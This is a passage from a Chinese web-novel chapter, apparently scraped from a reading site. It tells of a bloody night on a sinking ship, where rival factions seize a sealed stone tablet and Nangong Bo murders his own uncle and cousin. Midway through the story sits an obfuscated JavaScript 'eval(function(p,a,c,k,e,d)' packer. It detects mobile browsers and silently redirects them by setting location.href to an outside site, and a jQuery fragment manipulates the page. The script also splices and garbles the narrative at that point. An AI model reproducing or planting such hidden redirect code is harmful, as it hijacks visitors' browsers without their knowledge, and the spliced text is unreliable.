“阿爹…”朱翼凄惨地叫,在深邃的夜里格外惊心。 恍惚之间,我看见井生挣扎着要爬起来,可他扭动了半天,只是不停吐血。他的血和我的血,可把这船舱弄得臭死了,我神志不清地想着。也许过了很久,也许只是刹那,我听到叔父说:“王珒,把刀放下。” 那把刀沿着皮肤缓缓落下,我还是觉得好疼。先前王珒一直挡住了我的视线,他挪开后,我又看见成安侯了。 他似乎也松了口气:“想通了就好。东西在哪里,我立刻派人去取。” 其实我也一直在想这个问题,石碑是什么时候被人移走的,接着又藏在哪里。 “不用这么麻烦,”叔父拿出一枚罗盘,“照我说的,朝北开船。” 成安侯狐疑道:“少全,你不要耍花样。” 叔父看了井生一眼,又望着我。我浑身血淋淋的,还剩半口气。 “你说谁在耍花样?” 成安侯思索片刻,随即命令开船。因为风雨颇大,船体摇得厉害,王珒干脆把我绑到木桩上。 “三小姐,想不想喝口酒?”这是今晚,他对我说的第一句话。他说话的语气,就如在巴陵的家宴上,问我要不要喝酒一样。 然后,他就坐在一旁,自己大口喝起来。 石碑既然不在小仓,多半给带到雍州来了。可是凭我的直觉,雍州的老宅被人搜掠过,而长丰一无所获。那石碑在哪里,叔父紧张地握住罗盘,他好像曾经教过我如何摆弄它,可我也没认真学,直到如今,也没有机会学了。我一阵心酸,更不能看朱翼,她悲伤的眼睛会让我流泪的。 在跟随船体摇摆了很久之后,船渐渐停下来。 “石碑就在岛上,”叔父说,“位置只有井生知道。” 我并不知道船开到了哪里,但应该不会离雍州很远。叔父要把石碑给他们吗?那接下来会如何?我凭着残存的意志,不让自己晕过去。 这个地方真奇怪,背后黑漆漆的是山崖吗?我根本抬不起头,也看不清任何东西。 “侯爷,把解药给我。”叔父伸出手。 而成安侯又摇了摇头,他走到趴着的井生面前。 “小兄弟,要是想救你家小姐,就把东西给我。我这里,有的是人背你过去。” 井生睁大充血的两眼,努力抬着脖子。无论他是否愿意,他很快被人架出船舱。 “侯爷,我想把小冰挪到我身边来。”叔父又说。 成安侯朝我看了一眼,非常冷酷也非常怜悯。 “少全,人只有远离自己的弱点,才能变得刚强。”他提着剑,把叔父挟持去了甲板。并且不顾瓢泼大雨,执意站在船头。 “小叔叔,让我看看小冰吧。”朱翼趁此机会,朝王珒哀求起来,“先给她止血,再喂点水给她。” 王珒的神色很冷漠,在漫长的等待中,他一直在喝酒。当舱外的脚步声重新响起来,他似乎哆嗦了一下。 井生又被人架回来,而身后的两人捧着一方木盒。我凝神看着,石碑真的在里面? 成安侯扯开舱内一处粗布遮盖的铁箱,他叫人把木盒放进去,然后迅速用封条把铁箱封住了。整个过程没有迟疑。 “小叔叔,”我突然问王珒,“你不好奇吗?不想打开看看?” 我气若游丝,可是他听见了,他也用同样低微的声音回答:“不要作弄我。三小姐,你还是操心自己吧。” 大功告成,成安侯轻松了许多。他命令不相干的人离开船舱,大船行驶了两盏茶的工夫,他才缓缓拿出那封圣谕。 “少全,不要怪我。”他说,“其实我也不忍心。” 他展开那道黄皮文书。 “先祖开朝艰难,幸得南宫氏助援,披荆斩棘,励精图治。孤家自幼坎坷,与南宫氏丹城相许,更不敢辱命。特此恩封雍州南宫氏第九代南宫简,于京西凌霄宫颐养天年;其独女封后,即日入京。天佑铁券乃本朝生死之物,令成安侯封存带回。此外一切知情者,杀无赦。” 在报完这道圣谕的最后一个字后,未等船舱内的任何人说话,成安侯抽起手上的金刀,奋力一掷,直接插进井生的胸膛。而与此同时,叔父与朱翼的脸同时分裂成好几片,每个碎片都是惊恐,我这才发现王珒又刺了我一刀。 耳朵里只剩嗡嗡的声音,王珒闹出了很大的动静,他把我推到木桌上,一桌子器皿全掉在我周围。而刚才我仅凭着意念支住的一口气,随着那道圣谕的明朗,再也支持不住了。我软绵绵趴在地上,跟一团棉花似的。 他们怎么打起来了,他们所有人都在对付叔父一个人,可我也帮不了他。井生是死了吗?朱翼,快让你爹住手,只要你们活着,就还有希望。 成安侯真是老而弥坚,他金刀上都是血,都是我亲人的血。不知过了多久,他们终于把满身是血的南宫简捆住了。 “侯爷,你把我活着带回去,将来会后悔的。” 我想让他闭嘴,用力动着手指,一不小心把一盏银杯推出去了。那只杯子骨碌碌地在船舱正中央打了一圈,成安侯回过头,发觉我竟然还活着。 “珒儿,怎么回事?”他提着金刀走过来。 王珒一直站在木桩的阴影里,他没有说任何话。我只听见朱翼的哀求声,凄凄婉婉,像为临别的亲人送行。 朱翼,你不会再生活在水晶墙里,你要一个人了,勇敢地趟过荆棘与污泥。 “不,我不要…”她依然在反抗,“谁来救救我们…” 那时船体很剧烈地摇晃一下,成安侯举着金刀也往后退了一步,等他再次站稳时,我觉得四周明亮了很多。 我是死了吗?在疑惑之际,我听到王珒的声音。 “父亲,还有一艘船,你看那边。” 所有人都愣住了,在漆黑的电闪雷鸣的夜晚,怎么还会出现一艘船。 王善香有着极为敏锐的战争触觉。 “告诉舵手,把船侧过来,出炮口对准前方。” 在他下完命令后很短的时间,整艘船突然剧烈震荡,有人在用铁锤攻船吗,船舱都被砸扁了。 “父亲,它靠得太近了。我们的船现在动不了。” 王珒的声音很紧张,他略一思索,看向被绑住的叔父。 成安侯会意,大手抓起叔父的领口。 “少全,你还有帮手?” 惊疑之下,有无数只箭朝破损的船舱飞进来,这些燃烧的飞箭根本不分彼此,铺天盖地涌向舱内。因为大雨倾盆,船舱没有烧起来,不过烟雾弥漫,成安侯一时睁不开眼睛。趁此机会,叔父挣脱了绳索,捡起地上的飞箭,朝成安侯的脖颈刺去。 王珒见状,也一把揪过朱翼,把匕首对准她的咽喉。 他说:“世兄,你可要小心。不要失了手,后悔一生。” 叔父满身伤痕,面露凶光,毫无犹豫扭断了成安侯持刀的一只胳膊。 王珒被激怒了,他也要以牙还牙。可是喘着粗气的成安侯却喊道:“珒儿,不能伤害她。” 这时外面击打声一片,船身整个朝□□斜,再这样下去,船就要翻掉了。 朱翼根本不怕王珒,我身上的窟窿都是他造成的,她恨死他了。她拼命要摆脱他,还呲牙咧嘴地咬他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181321|165287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小冰,我来救你。” 我还趴在地上,尽了最大的努力对她摇头。 “不要乱跑…”不知道谁大声叫喊。 船舱内依然浓烟滚滚,蘸着火星子的箭没有停歇一刻。我趴在地上喘气,意识到另一艘船绝非善类。原本以为,在圣谕读完的那一刻,这一切都可以告一段落了。 “小月…”我哑着嗓子寻找,心中徒然升起比之前更恐怖的感觉。 在浓烟消散的那刻,朱翼终于来到我身边。还好,她完好无缺地出现,只是脸上多了一抹血。 “不是我的血。”她摸着脸。我看见王珒跪在她的身后,背上插了两支箭。 而舱外渐渐安静了下来,只有风萧萧而过的呜咽声。 朱翼扶起我的上半身,掐着我的人中。 “别晕过去。你冷吗?” 因为船体倾斜一侧的缘故,我非常清晰地看到了另一艘的轮廓。近在咫尺,灯火通明,飒飒大风卷起了船帆,无数野鬼攀附着绳索,朝甲板上跳过来。这幅场景在哪里见过,我大口喘着气,身上涌出越来越多的血。 王珒摇摇晃晃地倒下,成安侯顾不上我们了。而我伸出手,叔父立刻跑过来,颤抖又小心翼翼,抚摸着我的脸。 “阿爹,那是疾风号…”朱翼认出来了,“是博哥哥…他来救我们了。” 她喜极而泣,没注意到他父亲沉寂而灰白的脸色。 越发沉重的雨声和突如其来的寂静,舱内的几人,如同嚼蜡似沉默片刻。叔父突然看着角落里的那只铁箱,那只被封印的铁箱才是目的。 成安侯预备给儿子拔箭,可是王珒也看清疾风号了,他指了指那只铁箱。 这时舱门被人踢开,一只幽灵身披斗篷涌入,带着雨水与血水,扫了四周一圈,目光也落在铁箱上。 成安侯立刻扑过去,带回铁箱和南宫氏父女,是他此行的最终目标。 “请问是…”成安侯还未说完,就被突然而至的锁链缠住了脖颈。他挣扎了两下,毫无还手之力,并且那根锁链持续收紧,他粗壮的喉骨揉碎作响。 叔父站了起来,而南宫博的声音先到了。 “无风,你在干什么?”他倚在那樘快要分崩离析的门框上,“找到了吗?” 他扫了舱内一眼,立刻找到了,施施然走上前,一扬手撕掉封印。 成安侯大怒,而那根锁链把他的脸逼得红紫,他使出浑身的力气,想伸出仅剩的一只手抓住他。 南宫博瞥一眼后方。左无风的黑袖底下赫然出现一把刀,他提起锁链,把成安侯拉近几尺之间,然后,手起刀落,把他的脑袋割掉了。 朱翼发出一声尖叫。 “父亲…”王珒匍匐爬到那具没有头颅的尸体旁,他完全不敢相信。回头看着舱内的一切,即使他再聪明,也不能预料这样的结局。他把头重重砸到地上。 而南宫博看着另一个男子。 “二叔,我杀了他,你没意见吧?”他歪着嘴笑。 成安侯的头颅从高处落下,他就这么死了。虽然是他让我们置身腥风血雨,可他死了,我却没觉得痛快。 “轮到你了。”左无风指向王珒,刀锋滴着血。 南宫博皱了下眉头,然后说,拖去外面处理。左无风来了劲,冲上去拳打脚踢,拉拽着王珒往外拖。 过了一会儿,我听到扑通一记声响,而左无风一瘸一跛地回来,满嘴是血。 “那个狡猾的贼子,被我咬死扔海里了。” 南宫博很生气,朝他吼:“你浪费什么时间,以为来这里玩的?” 舱内只剩我们几个了,而舱外全是他养得的海鬼。我紧紧捏住小月的手。 他是为了石碑来的,他已经拿到了,为什么还不走。他取出木盒,正要打开的时候,动作却凝滞了。 “二叔,这里面到底是什么?你该不会骗了所有人吧?” 他用手指拨弄着锁扣,明明可以打开的,可他却没有。他注视着对面的男子,犹疑片刻,还是没有打开。 我发觉叔父一直没说话,从他看到南宫博登船的那一刻。 “你一直跟着我们?”他问他,“你早就知道了,一直跟着我们。” “这里面到底是什么?” “你让至亲陷于危难之中,冷眼旁观。” “你说啊,你回答我。” “家门不幸。” 南宫博冲过去,使劲掐住对方发声的喉咙。 “你活了一把年纪,幼稚,”他突然放开他,指着这方快要塌陷,风雨摇摆的天地,“这就是证明,证明你幼稚。” 叔父满眼是泪,鬓角被冷风吹得灰白。 “阿爹,”朱翼挣脱我的手,去父亲身旁安慰,“就算博哥哥做错了,回去后再教训他吧。你看,这船快要沉了。” 这艘船的确快沉了,右侧裂开一道口子,突突冒着海水。冰冷的海水让南宫博冷静了,他的眼底结成了寒冰。 我浑身上下都是寒意,小月,快回来。 叔父老了,今晚发生的一切,让他因为极度痛楚而苍老,他的身心从未那样疲惫和衰弱过。 而面前的少年,是那样冷酷与自信满满。 “二叔,南宫世家只能有一个主人。” 我意识到什么,他也意识到了,他的手刚触摸到剑柄,背心正中就被刺了一剑。 我闷声吐了口血,而朱翼愣住了。等她回过神来,依然愣愣地看着她的哥哥。 叔父极轻微地叹了口气,朝一侧倒去,左无风走到他面前,又在胸口补了一刀。 船舱内谁也没有说话,只有底板上裂开的口子,一直汩汩翻腾着海水,口子越裂越开,底板快要崩裂了。 南宫博走到朱翼面前,朱翼还是少女的模样,仰着头,神情困惑不解。 他接过左无风递来的刀,亲手捅进了她的身体。 就让这一切快点结束吧。我愿意沉埋在大海里,永远不要醒来。 “少爷,小妞还活着。”左无风瞄了我一眼,“不过,也差不多了。” “其他人呢?” “老头子在这里,他儿子在海里,剩余十二人都晾在甲板上。” “很好,把船烧干净,不要留下痕迹。” 面前的人恍恍惚惚的,我只能分辨出模糊的轮廓。仿佛有很多人在我面前走过,又仿佛没有人。 魔鬼的声音从远处传来:“妹妹,你和他们一起,留在这里吧。” 我顺从地点头。很快在一片白光中,找到了叔父和朱翼。他们朝我微笑。叔父把我从乌潭的大火里抱出来了,那时我还是个婴儿,朱翼牵着我的手,我们在小仓山的瀑布里淋雨。 我浑身湿漉漉的,可是乌潭的大火依旧在烧。叔父一直抱着我,可走几步又把我跌到地上,我的五脏六肺都要错位了,痛楚地睁开眼。 “三小姐…”他说,“忍住了…” 他在大火里穿梭,走了很久才把我放下。这时后方火光冲天,乌潭的老宅在浓黑的烟雾中分解,随着一声爆炸,我找回了视线的焦点。 “井生,让我留下吧。”我试图抓住他的手。 他把我放入小艇,用了最后的力气,将小艇推向远方。